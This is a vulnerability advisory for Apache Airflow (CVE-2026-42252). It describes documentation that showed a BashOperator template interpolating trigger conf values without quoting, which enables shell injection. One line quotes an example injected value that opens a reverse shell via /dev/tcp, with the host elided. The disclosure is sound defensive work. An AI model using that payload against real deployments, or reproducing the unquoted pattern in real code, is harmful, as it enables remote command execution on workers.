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Apache AirflowGHSA-c85c-g9wv-pph2

Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine

Apache Airflow

CVE-2026-42252 · Published Jun 1, 2026 · updated Jul 9, 2026

Critical9.1
Fix: upgrade to 3.2.2 or later
GitHub advisory

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 , the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

Affected versions

PackageAffectedFixed in
apache-airflow
PyPI
>= 3.0.0, < 3.2.23.2.2
Details and references
CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-1336
Also known as
BIT-airflow-2026-42252, CVE-2026-42252, PYSEC-2026-184

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